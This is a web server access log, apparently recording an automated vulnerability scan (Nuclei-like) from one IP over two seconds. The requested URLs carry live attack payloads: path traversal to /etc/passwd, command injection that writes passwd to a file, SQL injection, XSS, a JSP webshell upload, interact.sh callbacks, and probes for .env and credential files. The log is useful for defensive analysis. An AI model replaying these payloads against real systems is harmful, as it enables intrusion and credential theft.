[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.bak HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /eps/resourceOperations/upload.action HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.htm HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /./../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /UploadFileData?action=upload_file&filename=../380CxldJgMtgPgCQ6yRTd9vd8jK.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../380Cy7qwHc7nkrJr3j2RabAQrdI.txt&id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gemfile.lock HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ganglia/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.html HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gruntfile.js HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/3xNNa.jsp&name=222\" HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/pimcore/google-api-private-key.json HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/log/error.log HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hm/login.action HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/tokens HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipa/ui/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /userportal/documentation/mapping.json HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hopfully404 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.live HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2.0/systeminfo HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslmgr HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.dev.yml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/query HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /haproxy-status HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CHANGELOG.md HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pprof/heap?debug=1 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /listinfo HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /center/api/files;.js HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/ HTTP/1.1" 199
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/user.xml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dfshealth.html HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dgn/dgn_tools/ping.php?ipdm=2;id; HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /libs.versions.toml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/user/signup/step2 HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /alps/profile HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/dompdf/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/google-services.json HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //___graphql HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=691&site_id=s3&event1=banner&event2=click&event3=1+%2F+%5B691%5D+%5BNEW_INDEX_BANNERS%5D+Trade-in+football&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v2/query HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Guardfile HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /h2-console/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/agent/service/register HTTP/1.1" 220
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /standard/default.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web_caps/webCapsConfig HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ioffice/prg/set/iocom/ioFileExport.aspx?url=/ioffice/web.config&filename=U9Qan.txt&ContentType=application/octet-stream HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hmc/hybris HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /him/api/rest/V1.0/system/log/list?filePath=../ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/netbinary?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis-portal/artemis/env HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ioffice/prg/set/wss/ioAssistance.asmx HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/imp/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?380CxiS0YgmaBe8SnVTf4BcdlGy=../../../../../../../../etc/passwd&380CxiS0YgmaBe8SnVTf4BcdlGy=1%20and%20updatexml(1,concat(0x7e,(select%20md5(21086))),1) HTTP/1.1" 3426
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.toml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gpc.json HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deployment.prod.ini HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hp/device/DeviceInformation/View HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmldata?item=CpqKey HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SSI/index.htm HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /htdocs/login/login.lua HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images../.git/config HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi2/status.php HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cpqlogin.htm HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sm935/index.do HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/main.yml HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chpstrt.php?chppath=Home HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/page/login.asp HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hangfire HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base64/PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/httpRequests/http-requests-log.http HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.htdeployment HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.htpasswd HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pimcore/app/config/pimcore/google-api-private-key.json HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download?type=files&filename=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.htaccess HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib///....//....//....//....//....//....//....//....//etc//passwd HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umweb/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cas/js/lib/buttons/3xNNa.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api-docs HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gruntfile.coffee HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/main.yaml HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /decisioncenter/login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ibmmq/console/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /httpd.conf HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authentication/login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /teamserver/faces/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DecisionService/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/config.properties HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umweb/../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/deviceinfo HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/system.log HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /android/app/google-services.json HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /decisioncenter/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img../.git/config HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hmc/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=129&event1=banner&event2=click&event3=5+%2F+%5B129%5D+%5BGARMIN_AKCII%5D+Garmin+%E1%EE%ED%F3%F1+%ED%EE%E2%EE%F1%F2%FC+%E2+%E0%EA%F6%E8%E8&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ibmmq/console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /./../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iojs/%2e/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph/login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //altair HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DecisionRunner/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///interact.sh/%2F.. HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hue/accounts/login?next=/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.json HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /haproxy?stats HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hybris/hmc/hybris HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /0/Authenticate HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_1 HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/deployment.xml HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sm/ess.do HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy7qwHc7nkrJr3j2RabAQrdI.txt HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/Captcha?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/Login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/2word?url=yhksm HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.production.ini HTTP/1.1" 196
